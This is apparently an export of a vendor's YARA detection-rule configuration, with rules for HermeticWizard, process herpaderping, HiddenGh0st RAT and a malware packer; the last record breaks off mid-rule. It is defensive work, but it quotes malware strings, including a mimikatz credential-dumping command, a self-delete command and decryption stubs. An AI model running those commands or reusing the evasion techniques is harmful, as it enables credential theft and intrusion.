+  "content": "rule hermetic_wizard {\n    meta:\n        title = \"HermeticWizard Worm\"\n        id = \"1d1e9c25-c5b0-4ab3-8750-6913a210ee5c\"\n        description = \"Detects the HermeticWizard worm malware involved in Ukraine cyberattacks in February 2022.\\nHermeticWizard is a destructive malware known for its data wiping and system sabotage capabilities. It is primarily targeted at Ukrainian systems and operates by leveraging obfuscated code and specific propagation techniques.\\nIt is recommended to isolate the affected system and conduct a thorough investigation to prevent further damage.\"\n        references = \"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/\"\n        date = \"2022-03-10\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1485;attack.t1561.002;attack.lateral_movement;attack.t1570;attack.t1021.002\"\n        classification = \"Windows.Worm.HermeticWizard\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // a259e9b0acf375a8bef8dbc27a8a1996ee02a56889cba07ef58c49185ab033ec\n\n        $s1 = \"Wizard.dll\" ascii\n        $s2 = \"Hermetica Digital Ltd\" ascii\n        $s3 = \"\\\\rundll32.exe\" wide\n        $s4 = \"\\\" #1\" wide\n        $s5 = \".ocx\" wide\n\n        // paylaod decryption loop (inplace)\n        $payload_inplace_decryption_loop = {\n            53                // push ebx\n            8B D9             // mov ebx, ecx\n            56                // push esi\n            57                // push edi\n            8B 13             // mov edx, dword ptr [ebx]\n            8B 43 04          // mov eax, dword ptr [ebx + 4]\n            2B C2             // sub eax, edx\n            C1 E8 02          // shr eax, 2\n            8D 72 FC          // lea esi, [edx - 4]\n            8D 78 FF          // lea edi, [eax - 1]\n            8D 34 86          // lea esi, [esi + eax*4]\n            85 FF             // test edi, edi\n            7E 16             // jle function_epiologue\n            8B 16             // mov edx, dword ptr [esi]\n                        // decryption_loop:\n            8D 4E FC          // lea ecx, [esi - 4]\n            8B 01             // mov eax, dword ptr [ecx]\n            33 C2             // xor eax, edx                    // decrypted_block[i] = encrypted_bloc[i] ^ encrypted_bloc[i - 1]\n            8B 11             // mov edx, dword ptr [ecx]\n            4F                // dec edi\n            89 06             // mov dword ptr [esi], eax\n            8D 31             // lea esi, [ecx]\n            85 FF             // test edi, edi\n            7F EE             // jg decryption_loop\n            8B 13             // mov edx, dword ptr [ebx]\n                        // function_epiologue:\n            81 32 A3 B1 29 4A // xor dword ptr [edx], 0x4a29b1a3 // decrypted_block[0] = encrypted_bloc[0] ^ 0x4A29B1A3\n            5F                // pop edi\n            5E                // pop esi\n            5B                // pop ebx\n            C3                // ret\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 1MB and all of ($s*) and $payload_inplace_decryption_loop\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hermetic_wizard"
+  ],
+  "rule_creation_date": "2022-03-10",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Worm.HermeticWizard"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1485",
+    "attack.t1570",
+    "attack.t1561.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-herpaderping_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585471Z",
+  "creation_date": "2026-03-23T11:46:25.585473Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585479Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/jxy-s/herpaderping\nhttps://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "herpaderping.yar",
+  "content": "rule generic_process_herpaderping {\n    meta:\n        title = \"Generic Process Herpaderping Injection\"\n        id = \"328c6813-3b63-4064-a03a-76827050f2c6\"\n        description = \"Detects the stubs of function calls associated with the process herpaderping injection technique used to bypass security products.\\nHerpaderping is a process injection technique that creates malicious processes by manipulating legitimate system calls. This rule identifies specific patterns in function calls such as CreateFile, NtCreateSection, NtCreateProcessEx, and NtCreateThreadEx, which are commonly exploited by this technique. The detection focuses on the way these system calls are made and how they are used to inject malicious code into legitimate processes.\\nIt is recommended to review the process' creation details for any signs of unauthorized injection activity.\"\n        references = \"https://github.com/jxy-s/herpaderping\\nhttps://attack.mitre.org/techniques/T1055/\"\n        date = \"2024-02-27\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055\"\n        classification = \"Windows.Generic.ProcessHerpaderping\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n    strings:\n        // Detection for this sample:\n        // edc4dbb4d5d448bac55ddc2631d975551659b28dc82546644c220f81de03e43a\n\n        $stub_createfile_00 = {\n            (C7 ?? ?? ?? 80 00 00 00)       // mov     [rsp+0AC0h+dwFlagsAndAttributes], 80h ; dwFlagsAndAttributes\n            (C7 ?? ?? ?? 03 00 00 00)       // mov     [rsp+0AC0h+dwCreationDisposition], 2 ; dwCreationDisposition\n            (?? 33 ??)                      // xor     r9d, r9d        ; lpSecurityAttributes\n            [0-16]                          // place holder\n            (BA 00 00 00 80)                // mov     edx, 80000000h  ; dwDesiredAccess\n            [0-16]                          // place holder\n            (E8|FF|9A)                      // call    cs:CreateFileWgi\n        }\n\n        $stub_createfile_01 = {\n            (C7 ?? ?? ?? 80 00 00 00)   // mov     [rsp+0AC0h+dwFlagsAndAttributes], 80h ; dwFlagsAndAttributes\n            [0-16]                      // place holder\n            (?? 33 ??)                  // xor     r9d, r9d        ; lpSecurityAttributes\n            [0-16]                      // place holder\n            (BA 00 00 00 C0)            // mov     edx, 0C0000000h  ; dwDesiredAccess\n            (E8|FF|9A)                  // call    cs:CreateFileW\n        }\n\n        $stub_ntcreatesection = {\n            (C7 ?? ?? ?? 00 00 00 01)       // mov     [rsp+0AC0h+dwFlagsAndAttributes], 1000000h ; AllocationAttributes\n            [0-16]                          // place holder\n            (?? 33 ??)                      // xor     r9d, r9d        ; MaximumSize\n            (?? 33 ??)                      // xor     r8d, r8d        ; ObjectAttributes\n            (BA 1F 00 0F 00)                // mov     edx, 0F001Fh    ; DesiredAccess\n            [0-16]                          // place holder\n            (E8|FF|9A)                      // call    cs:NtCreateSection\n        }\n\n        $stub_ntcreateprocessex = {\n            (C7 ?? ?? ?? 04 00 00 00)       // mov     [rsp+0AC0h+dwCreationDisposition], 4 ; Flags\n            [0-16]                          // place holder\n            (?? 33 ??)                      // xor     r8d, r8d        ; ObjectAttributes\n            (BA FF FF 1F 00)                // mov     edx, 1FFFFFh    ; DesiredAccess\n            [0-16]                          // place holder\n            (E8|FF|9A)                      // call    cs:NtCreateProcessEx\n        }\n\n        $stub_ntcreatethreadex = {\n            (BA FF FF 1F 00)                // mov     edx, 1FFFFFh\n            [0-16]                          // place holder\n            (E8|FF|9A)                      // call    cs:NtCreateThreadEx\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_process_herpaderping"
+  ],
+  "rule_creation_date": "2024-02-27",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.ProcessHerpaderping"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hiddengh0st_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573391Z",
+  "creation_date": "2026-03-23T11:46:25.573393Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573399Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://asec.ahnlab.com/en/57185/\nhttps://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant\nhttps://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat\nhttps://attack.mitre.org/software/S0032/"
+  ],
+  "name": "hiddengh0st.yar",
+  "content": "rule hiddengh0st {\n    meta:\n        title = \"HiddenGh0st RAT\"\n        id = \"6bc13282-278f-4e28-a8f8-896f45f857c4\"\n        description = \"Detects HiddenGh0st, a variant of Gh0stRAT.\\nHiddenGh0st is a remote access tool (RAT) used by threat actors to gain unauthorized access to systems.\\nIt is recommended to perform a thorough investigation for any signs of unauthorized access or persistence mechanisms.\"\n        references = \"https://asec.ahnlab.com/en/57185/\\nhttps://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant\\nhttps://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat\\nhttps://attack.mitre.org/software/S0032/\"\n        date = \"2024-05-29\"\n        modified = \"2025-03-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0032;attack.discovery;attack.t1082;attack.defense_evasion;attack.t1140;attack.collection;attack.t1113;attack.t1056.001;attack.command_and_control;attack.t1132.001;attack.t1573\"\n        classification = \"Windows.Trojan.HiddenGh0st\"\n        context = \"process,memory,thread,file.pe\"\n        arch = \"x86,x64\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // fd3821dd52bd332caa567bb09a2188de3284c035d57e9bf2f3626c1622b330e4\n        // 8fe8de4b1ffe1aab3103aefc0c694c5fb7b786c963a011ce66f9b5062dc5b2a9\n        // 356698b6b89f7ab04f2ca347f191d262dc0797e143a02acbfe2c35d4831973e2\n\n        $s1 = \" /c ping -n 2 127.0.0.1 > nul && del\" ascii fullword\n        $s2 = \"GetMP privilege::debug sekurlsa::logonpasswords exit\" ascii fullword\n        $s3 = \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\%s\" ascii fullword\n        $s4 = \"HARDWARE\\\\DESCRIPTION\\\\System\\\\CentralProcessor\\\\0\" ascii fullword\n        $s5 = \"set cdaudio door closed wait\" ascii fullword\n        $s6 = \"cmd.exe /c RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255\" ascii fullword\n        $s7 = \"<H1>403 Forbidden</H1>\" ascii fullword\n        $s8 = \":]%d-%d-%d  %d:%d:%d\" ascii fullword\n\n        $a1 = \"avcenter.exe\" ascii fullword\n        $a2 = \"K7TSecurity.exe\" ascii fullword\n        $a3 = \"TMBMSRV.exe\" ascii fullword\n        $a4 = \"AYAgent.aye\" ascii fullword\n        $a5 = \"QUHLPSVC.EXE\" ascii fullword\n        $a6 = \"KvMonXP.exe\" ascii fullword\n        $a7 = \"BaiduSd.exe\" ascii fullword\n        $a8 = \"ZhuDongFangYu.exe\" ascii fullword\n\n        $x1 = {\n            8B 41 02                      // mov     eax, [ecx+2]\n            83 C1 04                      // add     ecx, 4\n            8D B0 FF FE FE 7E             // lea     esi, [eax+7EFEFEFFh]\n            F7 D0                         // not     eax\n            33 F0                         // xor     esi, eax\n            F7 C6 00 01 01 81             // test    esi, 81010100h\n            74 E8                         // jz      short loc_4044EC\n            8A 59 FE                      // mov     bl, [ecx-2]\n            8D 41 FE                      // lea     eax, [ecx-2]\n            84 DB                         // test    bl, bl\n            74 15                         // jz      short loc_404523\n            8A 59 FF                      // mov     bl, [ecx-1]\n            84 DB                         // test    bl, bl\n            74 15                         // jz      short loc_40452A\n            80 39 00                      // cmp     byte ptr [ecx], 0\n            74 18                         // jz      short loc_404532\n            8A 59 01                      // mov     bl, [ecx+1]\n            84 DB                         // test    bl, bl\n            74 1B                         // jz      short loc_40453C\n            EB C9                         // jmp     short loc_4044EC\n        }\n\n        $x2 = {\n            B8 BD 16 9C 06                // mov     eax, 69C16BDh\n            F7 E1                         // mul     ecx\n            2B CA                         // sub     ecx, edx\n            D1 E9                         // shr     ecx, 1\n            03 CA                         // add     ecx, edx\n            C1 E9 10                      // shr     ecx, 10h\n            8D 04 C9                      // lea     eax, [ecx+ecx*8]\n            C1 E0 03                      // shl     eax, 3\n            2B C1                         // sub     eax, ecx\n            8D 14 80                      // lea     edx, [eax+eax*4]\n            D1 E2                         // shl     edx, 1\n            2B D1                         // sub     edx, ecx\n            C1 E2 02                      // shl     edx, 2\n        }\n\n        $x_keylogger1 = {\n            66 85 C0                      // test    ax, ax\n            74 ??                         // jz      short loc_1000D49A\n            83 FF FF                      // cmp     edi, 0FFFFFFFFh\n            7E ??                         // jle     short loc_1000D49A\n            83 FE 40                      // cmp     esi, 40h ; '@'\n            7E ??                         // jle     short loc_1000D49A\n            83 FE 5D                      // cmp     esi, 5Dh ; ']'\n            7D ??                         // jge     short loc_1000D49A\n        }\n\n        $x_keylogger2 = {\n                                    // loc_1000D255:\n            8A 14 01                      // mov     dl, [ecx+eax]\n            80 F2 62                      // xor     dl, 62h\n            88 10                         // mov     [eax], dl\n            40                            // inc     eax\n            4E                            // dec     esi\n            75 F4                         // jnz     short loc_1000D255\n        }\n\n        $x_cnc_communication = {\n            8A 14 01                      // mov     dl, [ecx+eax]\n            80 EA 7A                      // sub     dl, 7Ah ; 'z'\n            80 F2 19                      // xor     dl, 19h\n            88 14 01                      // mov     [ecx+eax], dl\n            41                            // inc     ecx\n            3B ??                         // cmp     ecx, esi\n        }\n\n    condition:\n        (3 of ($s*) and 3 of ($a*)) or\n        (2 of ($x*)) or\n        (1 of ($s*) and 1 of ($a*) and 1 of ($x*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hiddengh0st"
+  ],
+  "rule_creation_date": "2024-05-29",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.HiddenGh0st"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1113",
+    "attack.t1056.001",
+    "attack.t1132.001",
+    "attack.t1082",
+    "attack.t1573"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hidden_malware_builder_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573654Z",
+  "creation_date": "2026-03-23T11:46:25.573656Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573662Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://poison.tools/product/poison-fud-crypter/\nhttps://harfanglab.io/insidethelab/unpacking-packxor/\nhttps://attack.mitre.org/techniques/T1027/"
+  ],
+  "name": "hidden_malware_builder.yar",
+  "content": "rule hidden_malware_builder {\n    meta:\n        title = \"Detection for the commercial Hidden Malware Packer.\\nHidden Malware Builder is a commercial packer sold on the web.\\nThe purpose of a packer is to obfuscate malicious code in order to bypass detection from security products.\"\n        id = \"444592e2-1049-4597-8df4-60bd919d6ee5\"\n        description = \"Detects the Hidden Malware Builder packer.\\nHidden Malware Builder is a commercial packer used to obfuscate malicious code, making it harder for security products to detect.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://poison.tools/product/poison-fud-crypter/\\nhttps://harfanglab.io/insidethelab/unpacking-packxor/\\nhttps://attack.mitre.org/techniques/T1027/\"\n        date = \"2024-08-28\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Tool.HiddenMalwareBuilder\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 67f032d2d15952305a137782de36ac6a77aab7b25e50e1c7d66a8730792b9c06\n        // d7d2bc547eeab16c077fa8e7edce63c43beb45b62ed77016198f7dc9a1dcd14b\n        // 46631f196a2547cd4f9bfa6c279601ddb4b0ec307f8a0709a621b81cab682ef2\n        // 53f7ec230dc8b9e09e595617ab20589de36cf86bbb423288ffc86a9084adc828\n        // c1d6380fceff98531d4?508a3761ce82f16121db369cbf81265efd940b5b30ba\n        // 08e13ae59c37bf688661c6aaa9a5027b674f43277724?6e26ddd5500a5bd5712\n\n        $s_stub00 = {\n            0A ??           // or      dl, cl\n            4? 88 [1-6]     // mov     [r9-7], dl\n            4? 0F B6 [1-6]  // movzx   ecx, byte ptr [r8-0Bh]\n            4? 0F B6 [1-6]  // movzx   eax, byte ptr [r8-0Ah]\n            80 ?? 0F        // and     cl, 0Fh\n            C0 ?? 04        // shl     al, 4\n            0A ??           // or      cl, al\n            4? 88 [1-6]     // mov     [r9-6], cl\n            4? 0F B6 [1-6]  // movzx   ecx, byte ptr [r8-9]\n            4? 0F B6 [1-6]  // movzx   eax, byte ptr [r8-8]\n            80 ?? 0F        // and     cl, 0Fh\n            C0 ?? 04        // shl     al, 4\n            0A ??           // or      cl, al\n            4? 88 [1-6]     // mov     [r9-5], cl\n            4? 0F B6 [1-6]  // movzx   ecx, byte ptr [r8-7]\n            4? 0F B6 [1-6]  // movzx   eax, byte ptr [r8-6]\n            80 ?? 0F        // and     cl, 0Fh\n            C0 ?? 04        // shl     al, 4\n            0A ??           // or      cl, al\n            4? 88 [1-6]     // mov     [r9-4], cl\n            4? 0F B6 [1-6]  // movzx   ecx, byte ptr [r8-5]\n            4? 0F B6 [1-6]  // movzx   eax, byte ptr [r8-4]\n            80 ?? 0F        // and     cl, 0Fh\n            C0 ?? 04        // shl     al, 4\n            0A ??           // or      cl, al\n            4? 88 [1-6]     // mov     [r9-3], cl\n            4? 0F B6 [1-6]  // movzx   ecx, byte ptr [r8-3]\n            4? 0F B6 [1-6]  // movzx   eax, byte ptr [r8-2]\n            80 ?? 0F        // and     cl, 0Fh\n            C0 ?? 04        // shl     al, 4\n        }\n\n        $s_stub01 = {\n            80 ?? 0F       // and     cl, 0Fh\n            C0 ?? 04       // shl     al, 4\n            0A [1-6]       // or      cl, al\n            0F B6 [1-6]    // movzx   eax, byte ptr [edx-0Ah]\n            88 [1-6]       // mov     [esi-8], cl\n            0F B6 [1-6]    // movzx   ecx, byte ptr [edx-0Bh]\n            80 ?? 0F       // and     cl, 0Fh\n            C0 ?? 04       // shl     al, 4\n            0A [1-6]       // or      cl, al\n            0F B6 [1-6]    // movzx   eax, byte ptr [edx-8]\n            88 [1-6]       // mov     [esi-7], cl\n            0F B6 [1-6]    // movzx   ecx, byte ptr [edx-9]\n            80 ?? 0F       // and     cl, 0Fh\n            C0 ?? 04       // shl     al, 4\n            0A [1-6]       // or      cl, al\n            0F B6 [1-6]    // movzx   eax, byte ptr [edx-6]\n            88 [1-6]       // mov     [esi-6], cl\n            0F B6 [1-6]    // movzx   ecx, byte ptr [edx-7]\n            80 ?? 0F       // and     cl, 0Fh\n            C0 ?? 04       // shl     al, 4\n            0A [1-6]       // or      cl, al\n            0F B6 [1-6]    // movzx   eax, byte ptr [edx-4]\n            88 [1-6]       // mov     [esi-5], cl\n            0F B6 [1-6]    // movzx   ecx, byte ptr [edx-5]\n            80 ?? 0F       // and     cl, 0Fh\n            C0 ?? 04       // shl     al, 4\n            0A [1-6]       // or      cl, al\n            0F B6 [1-6]    // movzx   eax, byte ptr [edx-2]\n            88 [1-6]       // mov     [esi-4], cl\n            0F B6 [1-6]    // movzx   ecx, byte ptr [edx-3]\n            80 ?? 0F       // and     cl, 0Fh\n            C0 ?? 04       // shl     al, 4\n        }\n\n        $s_stub02 = {\n            C0 ?? 04          //  shl     cl, 4\n            0A [1-6]          //  or      dl, cl\n            C0 ?? 04          //  shl     al, 4\n            4? 0F B6 [1-6]    //  movzx   ecx, byte ptr [r8-0Bh]\n            80 ?? 0F          //  and     cl, 0Fh\n            4? 88 [1-6]       //  mov     [r9-8], dl\n            0A [1-6]          //  or      cl, al\n            4? 0F B6 [1-6]    //  movzx   eax, byte ptr [r8-8]\n            4? 88 [1-6]       //  mov     [r9-7], cl\n            4? 0F B6 [1-6]    //  movzx   ecx, byte ptr [r8-9]\n            80 ?? 0F          //  and     cl, 0Fh\n            C0 ?? 04          //  shl     al, 4\n            0A [1-6]          //  or      cl, al\n            4? 0F B6 [1-6]    //  movzx   eax, byte ptr [r8-6]\n            4? 88 [1-6]       //  mov     [r9-6], cl\n            4? 0F B6 [1-6]    //  movzx   ecx, byte ptr [r8-7]\n            80 ?? 0F          //  and     cl, 0Fh\n            C0 ?? 04          //  shl     al, 4\n            0A [1-6]          //  or      cl, al\n            4? 0F B6 [1-6]    //  movzx   eax, byte ptr [r8-4]\n            4? 88 [1-6]       //  mov     [r9-5], cl\n            4? 0F B6 [1-6]    //  movzx   ecx, byte ptr [r8-5]\n            80 ?? 0F          //  and     cl, 0Fh\n            C0 ?? 04          //  shl     al, 4\n            0A [1-6]          //  or      cl, al\n            4? 0F B6 [1-6]    //  movzx   eax, byte ptr [r8-2]\n            4? 88 [1-6]       //  mov     [r9-4], cl\n            4? 0F B6 [1-6]    //  movzx   ecx, byte ptr [r8-3]\n            80 ?? 0F          //  and     cl, 0Fh\n            C0 ?? 04          //  shl     al, 4\n        }\n\n        $s_stub03 = {\n            4? 83 [1-6]      //  add     r9, 4\n            C0 ?? 04         //  shl     cl, 4\n            80 [1-6]         //  and     dl, 0Fh\n            4? 83 [1-6]      //  add     r8, 8\n            0A [1-6]         //  or      dl, cl\n            4? 88 [1-6]      //  mov     [r9-5], dl\n            4? 0F B6 [1-6]   //  movzx   ecx, byte ptr [r8-7]\n            4? 0F B6 [1-6]   //  movzx   eax, byte ptr [r8-6]\n            80 ?? 0F         //  and     cl, 0Fh\n            C0 ?? 04         //  shl     al, 4\n            0A [1-6]         //  or      cl, al\n            4? 88 [1-6]      //  mov     [r9-4], cl\n            4? 0F B6 [1-6]   //  movzx   ecx, byte ptr [r8-5]\n            4? 0F B6 [1-6]   //  movzx   eax, byte ptr [r8-4]\n            80 ?? 0F         //  and     cl, 0Fh\n            C0 ?? 04         //  shl     al, 4\n            0A [1-6]         //  or      cl, al\n            4? 88 [1-6]      //  mov     [r9-3], cl\n            4? 0F B6 [1-6]   //  movzx   ecx, byte ptr [r8-3]\n            4? 0F B6 [1-6]   //  movzx   eax, byte ptr [r8-2]\n            80 ?? 0F         //  and     cl, 0Fh\n            C0 ?? 04         //  shl     al, 4\n        }\n\n        $s_pdb00 = \"\\\\sistam.\" ascii nocase\n        $s_pdb01 = \".CEEMPCL17\\\\\" ascii nocase\n        $s_pdb02 = \"\\\\HIDDEN MALWARE\\\\\" ascii nocase\n        $s_pdb03 = \"By PoisonTools\\\\\" ascii nocase\n        $s_pdb04 = \"\\\\Hidden Malware Builder\" ascii nocase\n        $s_pdb05 = \"crypt64cui.pdb\" ascii nocase\n        $s_pdb06 = \".VMI263768\\\\\" ascii nocase\n        $s_pdb07 = \"\\\\VISUAL-C++-CRYPTER\\\\\" ascii nocase\n\n        $s_exclusion00 = \"Dolphin.pdb\" ascii wide\n        $s_exclusion01 = \"dolphin-emu\" ascii wide\n        $s_exclusion02 = \"dtsoftbus01.sys\" ascii wide\n        $s_exclusion03 = \"DTSoftBusCtl\" ascii wide\n        $s_exclusion04 = \"GRAPH_MATH+_Simulator_Ver_USB.exe\" ascii wide\n        $s_exclusion05 = \"GRAPH MATH+ Simulator Ver\" ascii wide\n\n    condition:\n        (1 of ($s_stub*) or 1 of ($s_pdb*))\n        and not 1 of ($s_exclusion*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hidden_malware_builder"
+  ],
+  "rule_creation_date": "2024-08-28",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.HiddenMalwareBuilder"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hijackdrivermanager_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577976Z",
+  "creation_date": "2026-03-23T11:46:25.577978Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577984Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/\nhttps://asec.ahnlab.com/en/87804/\nhttps://threats.wiz.io/all-incidents/larva-25003-iis-native-module-malware-used-in-targeted-web-server-attacks"
+  ],
+  "name": "hijackdrivermanager.yar",
+  "content": "rule hijackdrivermanager_hacktool {\n    meta:\n        title = \"HijackDriverManager HackTool\"\n        id = \"4aff399d-1c26-43ea-8b50-14a60caa67d3\"\n        description = \"Detects HijackDriverManger, a chinese GUI tool used to manage a hidden rootkit.\\nHijackDriverManger is a Chinese-language file-hiding utility that controls a rootkit driver (Winkbj.sys) to block access to kernel objects—specific files, images and registry keys—thereby concealing a malicious IIS native module from security products.\\nIt is recommended to analyze the context around this alert and investigate further suspicious actions.\"\n        references = \"https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/\\nhttps://asec.ahnlab.com/en/87804/\\nhttps://threats.wiz.io/all-incidents/larva-25003-iis-native-module-malware-used-in-targeted-web-server-attacks\"\n        date = \"2025-09-02\"\n        modified = \"2025-10-23\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1564.001;attack.t1562\"\n        classification = \"Windows.HackTool.HijackDriverManager\"\n        context = \"process,memory,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 7260f09e95353781f2bebf722a2f83c500145c17cf145d7bda0e4f83aafd4d20\n\n        